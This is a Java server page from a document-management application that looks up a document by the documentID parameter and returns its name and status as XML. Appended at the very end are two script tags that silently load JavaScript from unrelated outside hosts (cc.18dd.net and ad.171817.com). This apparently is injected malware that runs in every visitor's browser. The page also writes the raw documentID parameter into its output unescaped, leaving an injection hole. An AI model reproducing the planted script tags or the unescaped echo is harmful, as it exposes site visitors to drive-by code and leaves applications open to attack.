<%@ page language="java" contentType="text/xml;charset=UTF-8" %><%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %><%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %><%@ page import="com.dcivision.framework.*" %><%@ page import="java.sql.*"
%><%@ page import="java.util.*"
%><%@ page import="com.dcivision.dms.dao.*"
%><%@ page import="com.dcivision.dms.bean.*"
%><%@ page import="com.dcivision.dms.core.*"
%><%@ page import="org.apache.commons.logging.LogFactory"%>
<%
	String documentName = "";
	String itemStatus = "";
	String inforCode = "";
	String documentID = request.getParameter("documentID");
  SessionContainer sessionCtn = new SessionContainer();
  Connection conn = DataSourceFactory.getConnection();
	//documentID = (String)request.getAttribute("documentID");
  if(documentID!=null){
    try{
      DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionCtn, conn);
      Integer docID = TextUtility.parseIntegerObj(documentID);
      DmsDocument document = docRetrievalManager.getDocument(docID);
      if(document!=null){
        documentName = document.getDocumentName();
        itemStatus = document.getItemStatus();
      }else{
        inforCode = "this Document is not  exist!";
      }
    }catch(Exception e){
      LogFactory.getLog(this.getClass()).error(e, e);
    }
  }
	out.clear();
%><?xml version="1.0" encoding="UTF-8"?>
<paraScan>
<documentName><%=documentName%></documentName>
<ItemStatus><%=itemStatus%></ItemStatus>
<inforCode><%=inforCode%></inforCode>
<documentID><%=documentID%></documentID>
</paraScan>
<%
  request.setAttribute("documentName","");
  request.setAttribute("itemStatus","");
  request.setAttribute("inforCode","");
  request.setAttribute("documentID","");
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>